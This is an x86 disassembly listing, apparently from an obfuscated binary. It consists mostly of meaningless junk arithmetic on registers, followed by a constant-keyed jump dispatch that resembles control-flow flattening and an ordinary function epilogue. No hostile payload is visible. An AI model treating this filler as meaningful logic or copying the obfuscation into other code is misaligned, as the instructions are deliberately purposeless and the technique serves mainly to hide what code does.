inc esi
bswap eax
imul edi
inc esi
dec esi
neg edi
rcr esi, 0xf7
bswap esi
inc edi
imul eax
inc edi
rcl ebx, 0x59
imul edx
not edi
add esi, 0xdf
not esi
neg eax
not edi
dec ebx
dec eax
rcl eax, 0xaa
imul esi
imul edi
mov eax, 0xf2
sbb edi, 0x45
inc ebx
rcl ebx, 0xef
sub eax, 0x8b
rcr esi, 2
neg edi
neg esi
inc ebx
rcl ebx, 0x20
neg ebx
neg edx
imul edi
inc ebx
or esi, 4
not edx
and eax, 0x9a
dec ebx
bswap edx
sub eax, 0x83
imul eax
bswap eax
or ebx, 0x9f
inc eax
rol edx, 0x84
ror edx, 0xd9
neg esi
inc esi
or edi, 0xc9
ror edx, 0xcf
add edx, 0xdc
bswap eax
imul eax
bswap eax
sub esi, 0xcf
dec esi
rcr edx, 0x38
sbb eax, 7
imul ebx
inc esi
dec edi
imul edx
add edx, 0xf4
not eax
sbb edx, 0x8a
neg edi
neg edx
or ebx, 0x79
rol edi, 0x24
bswap edi
or eax, 0x29
rcl esi, 0xe6
rol edx, 0x7b
imul ebx
and esi, 0x28
dec esi
mov esi, 0x6d
or eax, 0xa7
and ebx, 0x90
dec esi
sbb ebx, 0xcc
mov edi, 0x42
dec eax
rol edi, 0xb2
inc esi
rcl ebx, 0x6a
bswap ebx
sub edi, 0x71
mov eax, 0xe1
neg eax
sbb edi, 0x1b
and ebx, 0x2c
inc edx
and eax, 0x6d
rcr ebx, 0x48
dec edx
dec esi
bswap edi
or eax, 0xe7
rcl eax, 0xbd
imul ebx
inc ebx
sub ebx, 0x5e
rcl esi, 0xb6
sub ebx, 0x75
not esi
dec eax
and edi, 0x79
neg ebx
not edx
bswap edi
sub eax, 0x93
mov eax, 0x96
ror eax, 0x9f
sub ebx, 0x76
bswap ebx
bswap edi
and esi, 0x1b
inc edi
dec ebx
sub eax, 0xad
add ebx, 0x55
inc edx
ror edx, 0x17
or eax, 0x80
mov edx, 0x8f
sbb edi, 0xd
bswap edx
not esi
sbb ebx, 0x7d
and eax, 0x1a
inc ebx
mov edx, 0x5c
bswap esi
inc edi
imul eax
mov edx, 0xf7
sbb ebx, 0xc6
rcr esi, 0x77
imul eax
mov ebx, 0x62
sub esi, 0x89
imul edx
neg ebx
bswap edx
add esi, 0xf
neg eax
neg eax
and edx, 0xb4
dec esi
mov eax, 0x1a
not edx
mov eax, 0x5f
add edx, 0xcc
sub edi, 0x1d
not eax
mov esi, 0xdd
bswap edx
bswap ebx
rcr esi, 0x86
imul edx
dec edi
not esi
or eax, 0x69
rcl ebx, 0x80
rcr eax, 0xe0
dec edx
dec edi
neg eax
sbb ebx, 0xb2
inc esi
and esi, 0x8f
mov eax, 0x9458cda2
jmp 0x401a00
cmp eax, 0xe5df3ab8
jne 0x401a00
mov esi, dword [ebp - 0x1c0]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.004438b0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret